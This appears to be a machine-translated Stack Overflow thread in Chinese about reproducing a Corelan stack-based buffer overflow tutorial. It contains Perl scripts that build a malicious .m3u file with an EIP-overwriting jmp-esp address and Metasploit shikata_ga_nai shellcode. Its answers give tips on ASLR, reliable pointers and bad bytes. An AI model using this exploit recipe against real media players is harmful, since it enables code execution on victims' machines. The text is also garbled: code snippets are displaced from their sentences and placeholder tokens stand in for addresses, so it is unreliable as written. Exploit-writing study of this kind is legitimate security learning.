漏洞利用开发 - Shellcode不起作用?

时间:2015-11-06 14:19:26

标签: stack-overflow buffer-overflow exploit shellcode metasploit

我正在关注corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/以重现漏洞。

首先,我发现EIP的位置是在26089 A s之后(在0016F454),而在EIP之后ESP是4个字符(在{{ 1}})根据以下代码:

0016F45C

结果:i.stack.imgur.com/LmPG8.png

我找到my $file= "eipcrash.m3u"; my $junk= "A" x 26089; my $eip = pack('V', 0x444444); my $shellcode = "\x90" x 4 ; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); 指向jmp-esp指针的指针。我使用!mona find -type instr -s "jmp esp" -x X一个。

结果:http://i.stack.imgur.com/iUoVY.png

我认真地让一切看起来都很有效。最终代码:

0x7457AC5B

最终结果:http://i.stack.imgur.com/JSwKt.png

它只是不起作用!我相信我的EIP和shellcode的位置是正确的,所以问题可能是shellcode的有效性。我尝试了从其他网站启动my $file= "eipcrash.m3u"; my $junk= "A" x 26089; my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC 0x1001B058 0x7457AC5B my $shellcode = "\x90" x 4 ; # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n"; 的shellcode,但都没有。

为什么不工作? 我使用的是Windows 10 x64。请引导我,因为我已经坚持了几个星期,我已经在网上审查了类似问题的文章。 我真的不知道。

提前致谢。

2 个答案:

答案 0 :(得分:1)

  • 目标操作系统:
    小心! ==> ASLR !!!
    在本教程中,目标似乎是“Windows XP SP3(En)”,并且他在“Windows XP [版本5.1.2600]”上进行了测试。 /> 在评论中,即使重启后,对使用ASLR的“Win7 Prof Ver 6.1.7600英语”的程序也有正面反馈。 您正在 Windows 10 上进行测试,显然是在ASLR上进行测试。
  • Windows平台的可靠性:
    我确定!您确实控制了EIP 0016F454 (我们看到“DDDD”),ESP指向 0016F45C(shellcode)。 你有不同的指示吗? (jmp,call或push-ret)。
    您使用 0x7457AC5B ==> cfgmgr32.dll中的“jmp-esp” 你试过 0x035bf23a ==> MSRMCcodec02.dll中的“jmp-esp”?
  • 尝试找到可靠的指针:
    pvefindaddr j -r esp -n -o(免疫调试器或任何东西)。并且最好避免“SafeSEH”“ASLR”

答案 1 :(得分:0)

你检查了坏字节吗?文件解析器通常使用某些字节作为魔术标记,并且可能导致您的shellcode不能完整复制或转换为损坏的shell代码。您可以使用mona的bytearray功能来帮助您识别错误的字节(https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/